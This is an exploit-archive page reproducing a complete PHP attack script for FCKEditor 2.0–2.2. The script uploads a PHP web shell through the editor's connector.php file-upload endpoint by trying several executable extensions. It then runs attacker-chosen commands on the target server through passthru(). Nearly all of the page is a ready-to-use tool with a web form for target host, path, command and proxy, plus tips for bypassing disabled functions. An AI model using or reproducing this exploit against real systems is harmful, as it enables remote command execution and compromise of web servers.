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FCKEditor 2.0 <= 2.2 (connector.php) - Remote Shell Upload Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 21 Views

FCKEditor 2.0 <= 2.2 Remote Shell Upload Exploi

Code

                                                &#60;?php
#  ---fckeditor_22_xpl.php                              15.38 04/12/2005       #
#                                                                              #
#                       FCKEditor 2.0 &#60;= 2.2 shell upload                      #
#                              coded by rgod                                   #
#                     site: http://retrogod.altervista.org                     #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: &#34;Security against defeat implies defensive tactics; ability to     #
#  defeat the enemy means taking the offensive&#34;                                #

/* -&#62; a short explaination: if a user cam call directly

      http://[target]/[path]/editor/filemanager/browser/default/connectors/php/connector.php

      he can upload malicious contempt on a target server, including arbitrary
      php code, and launch commands on it

      this works when php connector is enabled in config.php and when, ex.,
      in Apache httpd.conf &#34;AddType application/x-httpd-php&#34; directive we have
      an extension not specified in FCKEditor Config[DeniedExtensions][File]
      array.

      However, FCKeditor is integrated in a lot of applications, and if you
      succeed to upload the shell (see details in the output of this script)
      search for a local inclusion issue inside of them and include the uploaded
      file                                                                    */

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;, 5);
ob_implicit_flush (1);

echo&#39;&#60;html&#62;&#60;head&#62;&#60;title&#62; ******* FCKEditor 2.0 &#60;= 2.2 shell upload**************
&#60;/title&#62;&#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=iso-8859-1&#34;&#62;
&#60;style type=&#34;text/css&#34;&#62; body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--&#62;&#60;/style&#62;&#60;/head&#62;&#60;body&#62;&#60;p class=&#34;Stile6&#34;&#62;
 ******* FCKEditor 2.0 &#60;= 2.2 shell upload************** &#60;/p&#62;&#60;p class=&#34;Stile6&#34;&#62;a
script  by  rgod  at    &#60;a href=&#34;http://retrogod.altervista.org&#34;target=&#34;_blank&#34;&#62;
http://retrogod.altervista.org&#60;/a&#62; &#60;/p&#62; &#60;table  width=&#34;84%&#34;&#62;&#60;tr&#62;&#60;td width=&#34;43%&#34;&#62;
&#60;form name=&#34;form1&#34; method=&#34;post&#34;   action=&#34;&#39;.$_SERVER[PHP_SELF].&#39;&#34;&#62;    &#60;p&#62;&#60;input
type=&#34;text&#34;  name=&#34;host&#34;&#62; &#60;span class=&#34;Stile5&#34;&#62;* target    (ex:www.sitename.com)
&#60;/span&#62;&#60;/p&#62; &#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;path&#34;&#62;  &#60;span class=&#34;Stile5&#34;&#62;* path (ex:
/FCKEditor/ or just / ) &#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;cmd&#34;&#62;       &#60;span
class=&#34;Stile5&#34;&#62; * specify a command&#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;port&#34;&#62;
&#60;span class=&#34;Stile5&#34;&#62;specify  a  port other than  80 (default value)&#60;/span&#62; &#60;/p&#62;
&#60;p&#62;&#60;input   type=&#34;text&#34; name=&#34;proxy&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62; send  exploit through
an HTTP proxy (ip:port) &#60;/span&#62;  &#60;/p&#62;  &#60;p&#62;  &#60;input   type=&#34;submit&#34; name=&#34;Submit&#34;
value=&#34;go!&#34;&#62;&#60;/p&#62;&#60;/form&#62;&#60;/td&#62;&#60;/tr&#62;&#60;/table&#62;&#60;/body&#62;&#60;/html&#62;&#39;;

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo &#39;&#60;table border=&#34;0&#34;&#62;&#60;tr&#62;&#39;;
  while ($ii &#60;= strlen($headeri)-1){
    $dAtAi=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo &#34;&#60;td&#62;&nbsp;&nbsp;&#60;/td&#62;&#34;;
      for ($li=0; $li&#60;=15; $li++) {
        echo &#34;&#60;td&#62;&#34;.htmlentities($headeri[$li+$ki]).&#34;&#60;/td&#62;&#34;;
		}
      $ki=$ki+16;
      echo &#34;&#60;/tr&#62;&#60;tr&#62;&#34;;
    }
    if (strlen($dAtAi)==1) {
      echo &#34;&#60;td&#62;0&#34;.htmlentities($dAtAi).&#34;&#60;/td&#62;&#34;;
    }
    else {
      echo &#34;&#60;td&#62;&#34;.htmlentities($dAtAi).&#34;&#60;/td&#62; &#34;;
    }
    $ii++;$ji++;
  }
  for ($li=1; $li&#60;=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo &#34;&#60;td&#62;&nbsp&nbsp&#60;/td&#62;&#34;;
  }
  for ($li=$ci*16; $li&#60;=strlen($headeri); $li++) {
    echo &#34;&#60;td&#62;&#34;.htmlentities($headeri[$li]).&#34;&#60;/td&#62;&#34;;
  }
  echo &#34;&#60;/tr&#62;&#60;/table&#62;&#34;;
}

$pRoXy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacket() //2x speed
{
  global $pRoXy, $host, $port, $pAcKeT, $HtMl, $pRoXy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &#60; 0) {
    echo &#34;socket_create() failed: reason: &#34; . socket_strerror($socket) . &#34;&#60;br&#62;&#34;;
  }
  else {
    $c = preg_match($pRoXy_regex,$pRoXy);
    if (!$c) {echo &#39;Not a valid prozy...&#39;;
    die;
    }
  echo &#34;OK.&#60;br&#62;&#34;;
  echo &#34;Attempting to connect to &#34;.$host.&#34; on port &#34;.$port.&#34;...&#60;br&#62;&#34;;
  if ($pRoXy==&#39;&#39;) {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(&#39;:&#39;,$pRoXy);
    echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result &#60; 0) {
    echo &#34;socket_connect() failed.\r\nReason: (&#34;.$result.&#34;) &#34; . socket_strerror($result) . &#34;&#60;br&#62;&#60;br&#62;&#34;;
  }
  else {
    echo &#34;OK.&#60;br&#62;&#60;br&#62;&#34;;
    $HtMl= &#39;&#39;;
    socket_write($socket, $pAcKeT, strlen($pAcKeT));
    echo &#34;Reading response:&#60;br&#62;&#34;;
    while ($out= socket_read($socket, 2048)) {$HtMl.=$out;}
    echo nl2br(htmlentities($HtMl));
    echo &#34;Closing socket...&#34;;
    socket_close($socket);
  }
  }
}

function sendpacketii($pAcKeT)
{
  global $pRoXy, $host, $port, $HtMl, $pRoXy_regex;
  if ($pRoXy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($pRoXy_regex,$pRoXy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$pRoXy);
    echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$pAcKeT);
  if ($pRoXy==&#39;&#39;) {
    $HtMl=&#39;&#39;;
    while (!feof($ock)) {
      $HtMl.=fgets($ock);
    }
  }
  else {
    $HtMl=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$HtMl))) {
      $HtMl.=fread($ock,1);
    }
  }
  fclose($ock);
  echo nl2br(htmlentities($HtMl));
  }


function refresh()
{
  flush();
  ob_flush();
  usleep(100000);
}
function make_seed()
{
   list($usec, $sec) = explode(&#39; &#39;, microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$_POST[host];$port=$_POST[port];
$path=$_POST[path];$cmd=$_POST[cmd];
$pRoXy=$_POST[proxy];
echo &#34;&#60;span class=\&#34;Stile5\&#34;&#62;&#34;;

if (($host&#60;&#62;&#39;&#39;) and ($path&#60;&#62;&#39;&#39;) and ($cmd&#60;&#62;&#39;&#39;))
{
  $port=intval(trim($port));
  if ($port==&#39;&#39;) {$port=80;}
  if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
  if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}
  $host=str_replace(&#34;\r&#34;,&#34;&#34;,$host);$host=str_replace(&#34;\n&#34;,&#34;&#34;,$host);
  $path=str_replace(&#34;\r&#34;,&#34;&#34;,$path);$path=str_replace(&#34;\n&#34;,&#34;&#34;,$path);

  //modify the shell as you want, this could be written in any language
  //if exploit succeeded we will see phpinfo() even, check for disable_functions
  //if passthru() disabled, try with system(), exec(), popen() or shell_exec()
  $SHELL =&#34;&#60;?php echo chr(72).\&#34;i Master!\&#34;;ini_set(\&#34;max_execution_time\&#34;,0);error_reporting(0);&#34;;
  $SHELL.=&#34;phpinfo();passthru(\$HTTP_GET_VARS[cmd]);?&#62;&#34;;
  //we try to guess allowed extensions...
  // you should succeed with .php3 for 2.0fc
  //  &#34;     &#34;       &#34;     &#34;  .php  for 2.0rc1
  //  &#34;     &#34;       &#34;     &#34;  .php  for 2.0rc2
  //  &#34;     &#34;       &#34;     &#34;  .php3 for 2.0rc3
  //  &#34;     &#34;       &#34;     &#34;  .pwml for 2.1 (added some restrictions, but maybe
  //                                        this is executable on some machine)
  //  &#34;     &#34;       &#34;     &#34;  .pwml for 2.11
  //  &#34;     &#34;       &#34;     &#34;  .pwml for 2.2
  $extensions= array(&#39;.php&#39;, &#39;.php3&#39;, &#39;.php5&#39;, &#39;.phtml&#39;,&#39;.pwml&#39;, &#39;.php4&#39;, &#39;.php2&#39;, &#39;.inc&#39;);
  //add what you want
  //&#39;FileUpload&#39; for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 - 2.0fc
  //empty for 2.2
  $upload_command= array(&#39;FileUpload&#39;,&#39;&#39;);
  $path_to_shell=&#34;/UserFiles/File/&#34;; //default one: if different, script will find it

  for ($x=0; $x&#60;=count($extensions)-1; $x++)
  {
    for ($y=0; $y&#60;=1; $y++)
    {
      # STEP 1 -&#62; Upload the shell
      srand(make_seed());
      $anumber = rand(1,9999);
      $filename=&#34;suntzu&#34;.$anumber.$extensions[$x];
      $dAtA=&#34;-----------------------------7d529a1d23092a\r\n&#34;;
      $dAtA.=&#34;Content-Disposition: form-data; name=\&#34;NewFile\&#34;; filename=\&#34;$filename\&#34;\r\n&#34;;
      $dAtA.=&#34;Content-Type:\r\n\r\n&#34;;
      $dAtA.=&#34;$SHELL\r\n&#34;;
      $dAtA.=&#34;-----------------------------7d529a1d23092a--\r\n&#34;;
      $pAcKeT=&#34;POST &#34;.$path.&#34;editor/filemanager/browser/default/connectors/php/&#34;;
      $pAcKeT.=&#34;connector.php?Command=&#34;.$upload_command[$y].&#34;&Type=File&CurrentFolder= HTTP/1.1\r\n&#34;;
      $pAcKeT.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n&#34;;
      $pAcKeT.=&#34;User-Agent: Sun-tzu giving you the pain\r\n&#34;;
      $pAcKeT.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
      $pAcKeT.=&#34;Content-Length: &#34;.strlen($dAtA).&#34;\r\n&#34;;
      $pAcKeT.=&#34;Connection: Close\r\n\r\n&#34;;
      $pAcKeT.=$dAtA;
      show($pAcKeT);
      sendpacketii($pAcKeT);
      if (!eregi(&#34;200 OK&#34;,$HtMl)) {die(&#34;Cannot find connector.php...&#60;br&#62;&#34;);}
      if (eregi(&#34;This connector is disabled&#34;,$HtMl)) {echo &#34;Exploit failed... -&#62; php connector not enabled&#34;;die;}
      if (eregi(&#34;url=\&#34;&#34;,$HtMl))
      {
        $temp=explode(&#34;url=\&#34;&#34;,$HtMl);
        $temp2=explode(&#34;\&#34;&#34;,$temp[1]);
        $path_to_shell=$temp2[0];
      }
      echo &#34;&#60;br&#62;path where I search shell: &#34;.htmlentities($path_to_shell).&#34;&#60;br&#62;&#34;;
      # STEP 2 -&#62; Launch commands...
      #by default a &#34;UserFiles/File/&#34; dir is generated inside site root when you upload
      #files, this dir is not protected by an .htaccess file or whatever
      $pAcKeT=&#34;GET &#34;.$path_to_shell.$filename.&#34;?cmd=&#34;.urlencode($cmd).&#34; HTTP/1.1\r\n&#34;;
      $pAcKeT.=&#34;User-Agent: GoogleBot/1.1\r\n&#34;;
      $pAcKeT.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
      $pAcKeT.=&#34;Connection: Close\r\n\r\n&#34;;
      show($pAcKeT);
      sendpacketii($pAcKeT);
      if (eregi(&#34;200 OK&#34;,$HtMl)) {
                                 if (eregi(&#34;Hi Master!&#34;,$HtMl))
    			         {echo &#34;Exploit succeeded...&#60;br&#62;&#34;;
				  echo &#34;we have a shell in http://&#34;.$host.$path_to_shell.$filename.&#34;&#60;br&#62;&#34;;
				  echo &#34;we should have phpinfo() here, see html...&#60;br&#62;&#34;;
			          die;}
                                  else {echo &#34;Successfully uploades...&#60;br&#62;
			                      but is not an executable on target server...&#60;br&#62;&#34;;}
                               }
      refresh();
    }

  }
#if you are here...
echo &#34;Exploit failed...&#34;;
}
else
{echo &#34;Fill * required fields, optionally specify a proxy...&#34;;}
echo &#34;&#60;/span&#62;&#34;;
?&#62;

# milw0rm.com [2006-02-09]

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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
fckeditorremote shellupload exploit
21